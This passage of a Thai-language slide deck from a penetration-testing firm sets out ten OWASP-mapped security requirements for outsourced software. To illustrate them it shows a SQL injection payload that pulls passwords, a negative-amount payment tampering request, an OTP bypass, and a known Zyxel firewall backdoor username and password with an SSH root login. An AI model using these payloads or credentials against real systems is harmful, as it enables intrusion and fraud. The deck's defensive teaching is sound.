  • 29. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 29 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 30. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 30 #4 ลบบัญชี Backdoor ทดสอบระบบออก ยืนยันวาได ลบบัญชีที่สรางไวสําหรับการทดสอบระบบ หรือตอนพัฒนา ระบบ หลังจากที่สงมอบระบบเสร็จแลว ถาหากมีความจําเปนที่ยังลบไมได จะตองมีเอกสารเหตุผลประกอบ วา ทําไมตองมี และมาตรการความปลอดภัยที่รองรับ เชนการตั้งรหัสผานที่ปลอดภัย และขอมูลผูรับผิดชอบตอความเสียหาย ที่อาจจะเกิดจากบัญชีนั้น ๆ mysql> SELECT user FROM users; +--------------------+ | user | +--------------------+ | vendor_test | | vendor_adm1 | | demo | +--------------------+ Admin Web Portal Username: Password: Log in
  • 31. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 31 #4 ลบบัญชี Backdoor ทดสอบระบบออก - ลบบัญชีที่ไมมีความจําเปน - ตรวจสอบรายชื่อ บัญชีในระบบ และความจําเปน - สามารถ query ฐานขอมูลของ แอปพลิเคชัน หรือจากหนาเว็บภายในไดเชนกัน - (ถามี) รีวิววิธีและโคดที่ใชในการ initial และ migrate ฐานขอมูล Account วิธีการ implement และ ตรวจสอบ mysql> SELECT user FROM users; +--------------------+ | user | +--------------------+ | valid_user1 | | valid_user2 | | valid_user3 | +--------------------+
  • 32. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 32 #4 ลบบัญชี Backdoor ทดสอบระบบออก อุปกรณ Zyxel Firewall มี - บัญชีผูใชงาน zyfwp - รหัสผาน PrOw!aN_fXp โดยบัญชีผูใชดังกลาวจะสามารถทําใหผูไมประสงคดี สามารถเขาถึงระบบดวยสิทธิ์ root และติดตั้งโคดอันตรายได Account Backdoor ในอุปกรณ Network $ ssh zyfwp@192.168.1.252 Password : Router> show users current No : 1 Name : zyfwp Type : root (...) Router >
  • 33. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 33 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 34. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 34 #5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก ID : POST /api/getStudentId Host: api.sdhbank.com id=1234&user_role=1 POST /api/getStudentId Host: api.sdhbank.com id=' and 1>2 union select password from users-- - &user_role=2 submit 1234 Student
  • 35. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 35 Top-Up Balance (price x amount) 45,000 - (2,000 x - 10) = 65,000 #5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก 10 Pay IT SHOP Balance : 45,000 + 20,000 POST /api/pay Host: api.itshopxyzgg.xxxxx productid=1234&amount=-10 HTTP/1.1 200 OK { "Status":"success", "Balance":"65000" } 2,000 ฿ item
  • 36. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 36 #5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก API /getOTP API /verifyOTP API /payment การยืนยัน OTP ปกติ: OTP Bypass: API /getOTP API /payment ขาม API /verifyOTP หรือยิงเขา API /payment โดยตรง
  • 37. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public ถาเลือกได ไมควรทํา Denylist อยางการจํากัดหาม นามสกุลไฟลอันตราย .php .aspx เพราะแฮกเกอรอาจ หานามสกุลไฟลอื่น ๆ ที่เราอาจจะไมรูและไมไดใสใน Denylist มาโจมตีระบบได การกําหนดแบบ Allowlist จึงปลอดภัยกวา 37 #5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก File Upload ตองจํากัดวาใหอัปโหลดไดเฉพาะ นามสกุลไฟล เปนคาที่ยอมรับ (Allowlist) เทานั้น เชน .jpg .png Allowlist .jpg , .jpeg, .png , .gif , .webp Denylist .php, .aspx,
  • 38. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 38 #5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก - ใสเงื่อนไขการตรวจสอบที่โคดฝงเซิรฟเวอร (API) เปนหลัก - หามเชื่อคาที่ตรวจสอบมาจากฝง client (web browser และ mobile client) วิธีการ implement และ ตรวจสอบ -10 Pay IT SHOP
  • 39. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 39 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 40. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 40 #6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด ตองไมยอมใหใชงานไดถาหากยังไมไดเขาสูระบบ และการตรวจสอบตองทําที่ฝงเซิรฟเวอร -10 Pay IT SHOP ตองมีการทํา Session Management โดยเมื่อมีการเขาสูระบบ ควรตองมีการสรางคาสุมเพื่อใชเปน Session Token (หรือ Access Token) เปนคาใหมเสมอ และถูกสุมในรูปแบบที่ไมสามารถคาดเดาได Cat Shop Username: Password: Log in user=user1& pass=1234 access_token= 5gVCXXaiztV5
  • 41. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 41 #6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด -10 Pay IT SHOP Cat Shop Username: Password: Log in user=user1& pass=1234 access_token= 100001 Session Token เปนคาที่เดาได Session Token ไดคาเดิม Session Token ไมตองใชก็ได
  • 42. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 42 #6 ใช Session Token เดาไมไดและเปลี่ยนใหมตลอด สราง session token และ ตรวจสอบ session token ตลอดการเรียกใชงาน API ถาทําไดควรตรวจสอบจากจุดศูนยกลาง (ไมตองใสเงื่อนไขซํ้า ๆ ทุกฟงกชัน) วิธีการ implement - หา/แสดง จุดที่มีฟงกชันเขาสูระบบ วามีการสราง session token ตรง ไหน - หา/แสดง จุดที่มีการตรวจสอบ session token วาครบทุก API วิธีการตรวจสอบ @Override protected void configure(HttpSecurity http) throws Exception { http .headers() .frameOptions() .sameOrigin() .and() .authorizeRequests() .antMatchers( "/resources/**" , "/webjars/**","/assets/**").permitAll() .antMatchers( "/").permitAll() .antMatchers("/admin/**").hasRole("ADMIN") .anyRequest() .authenticated() .and() .formLogin() .loginPage( "/login") .defaultSuccessUrl( "/home") .failureUrl( "/login?error" ) .permitAll() .and() [...]
  • 43. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 43 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 44. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 44 #7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ ถาหากมีการเก็บขอมูล ของระบบที่ผูพัฒนาซอฟตแวร _ควรจะ_ ตองมีการแยกเซิรฟเวอรที่ ใชเปนฐานขอมูลออกจาก เซิรฟเวอรของลูกคารายอื่น ๆ อยางชัดเจน (ระดับ OS) เชน Database หรือ File Storage ถาหากเปนขอจํากัดที่ไมสามารถแยกไดจะตองมี เอกสารยอมรับความเสียหาย ถาหาก เซิรฟเวอร ของลูกคาอื่นถูกโจมตีทําใหขอมูลขององคกรหลุดออกไป Marketing App Accounting App ลูกคา #1 ธนาคาร A ลูกคา #2 ธนาคาร B IP: 1.2.3.4
  • 45. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 45 #7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ ถาหากมีการใช ที่เก็บขอมูลแบบ managed service หรือบน cloud (IaaS) เชน AWS RDS, AWS S3 หรือ Firebase Realtime Database จะตองใชงานบัญชีที่สงมอบใหทางบริษัท Vendor A แอป BBB 123 ใหธนาคาร BBB แอป AAA 456 ใหธนาคาร AAA ลูกคา #1 ธนาคาร A ลูกคา #2 ธนาคาร B IP: 1.2.3.4
  • 46. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 46 #7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ Vendor A แอป BBB 123 ใหธนาคาร BBB แอป AAA 456 ใหธนาคาร AAA ลูกคา #1 ธนาคาร A ลูกคา #2 ธนาคาร B IP: 1.2.3.4 แอป CCC 789 ใหธนาคาร CCC ลูกคา #3 ธนาคาร C ….. …..
  • 47. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 47 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 48. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 48 #8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร ถาหากระบบมีการกําหนดสิทธิ์การเขาถึงระบบ (user role) จะตองมีการตรวจ สอบในระดับ API วาไดทําการกําหนด สิทธิ์ของแตละ role ใหเขาถึงไดเฉพาะ API ที่ role นั้น ๆ มีสิทธิ์เทานั้น ควรมีเอกสารระบุรายละเอียดสิทธิ์ของแตละ user role โดยการทําตาราง access control matrix เพื่อใชในการยืนยัน สิทธิ์ของ user role ในระบบ
  • 49. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 49 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 50. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 50 #9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน ปดการเขาถึงระบบสวนที่ไมไดใชงานจากภายนอก (อินเทอรเน็ต) เชน phpMyAdmin, MySQL (Port), RDP (Port), SSH (Port) โดยอาจยอมใหสามารถเขาไดจาก IP ตนทางที่กําหนด เทานั้นเชน Public Static IP/ VPN IP ของบริษัท $ vim /etc/apache2/conf-available/phpmyadmin.conf #Restrict phpMyAdmin via IP address Order Deny,Allow Deny from All Allow from 10.1.1.10
  • 51. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 51 #9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน ใช nmap แสกนหา service port ที่เปดอยู วิธีการตรวจสอบ $ sudo nmap scanme.nmap.org Password: Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-23 18:57 +07 Nmap scan report for scanme.nmap.org (45.33.32.156) Host is up (0.23s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 80/tcp open http 9929/tcp open nping-echo 31337/tcp open Elite
  • 52. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 52 GoDaddy URL: https://droidsans.com/godaddy-hacked-breached-stolen-data/ ตัวเว็บไดถูกแฮคขอมูลผานการล็อคอินแบบ SSH ในกลุมลูกคาที่ทําการโฮสตเซิรฟเวอรกับทางบริษัท ตั้งแตเดือน ตุลาคม 2019 และเพิ่งมาคนพบในเดือนเมษายน 2020 อาจสงผลอาจจะทําใหลูกคาทั่วไปที่ใชงานบริการอยูทั่วโลกกวา 19 ลานราย มีความเสี่ยงที่ขอมูลของเว็บรั่วไหล แฮกเกอรได Usernames และ Password ของผูใช SSH ไปประมาณ 28,000 ราย
  • 53. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 53 https://www.blognone.com/node/101492
  • 54. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 54 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 55. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 55 #10 ปดการเขาถึงไฟลที่มีความเสี่ยง https://sdhbank.local/server-status/ https://sdhbank.local/.svn/ https://sdhbank.local/.git/ https://sdhbank.local/uploads/original_name.pdf - ทําการเก็บไฟลอัปโหลดใน path ที่ไมอยูใน web root - รีวิวไฟลที่สามารถเขาถึงไดผาน URL หาไฟลที่อาจมีความเสี่ยงเชน ขอมูล backup หรือไฟลตั้งคา ที่แมจะเชื่อวาไมมีคนรูชื่อ URL ที่ถูกตอง วิธีการ implement และตรวจสอบ
  • 56. บจก.สยามถนัดแฮก Responsible / Version: Mr. Pichaya Morimoto / 1.0 (2021-02-25) Confidentiality class: Public 56 10 ขอกําหนดดานความปลอดภัย เมื่อตองจางคนมาทําซอฟตแวรใหองคกร # ขอกําหนด OWASP Top 10 Web App 1 ใช Prepared Statement หรือเทียบเทา เทานั้น A1:2017 - Injection 2 สรางและใชงาน Database User สิทธิ์เทาที่จําเปน A6:2017 - Security Misconfiguration 3 แยกรหัสผานของระบบทดสอบกับระบบจริง A6:2017 - Security Misconfiguration 4 ลบบัญชี Backdoor ทดสอบระบบออก A2:2017 - Broken Authentication 5 ตรวจสอบขอมูลตองทําที่ฝงเซิรฟเวอรเปนหลัก A1:2017 - Injection, A4:2017 - XML External Entity (XXE), A7:2017 - Cross-Site Scripting (XSS), A8:2017 - Insecure Deserialization, ... 6 ใช session token เดาไมไดและเปลี่ยนใหมตลอด A2:2017 - Broken Authentication 7 แยกเซิรฟเวอรฐานขอมูลออกจาก ลูกคารายอื่น ๆ - 8 ตรวจสอบสิทธิ์ User Role ที่ฝงเซิรฟเวอร A5:2017 - Broken Access Control 9 ปดการเขาถึงระบบสวนที่ไมไดใชงาน A6:2017 - Security Misconfiguration 10 ปดการเขาถึงไฟลที่มีความเสี่ยง A6:2017 - Security Misconfiguration
  • 57. Any Question ? Contact us: pentest@sth.sh บจก.สยามถนัดแฮก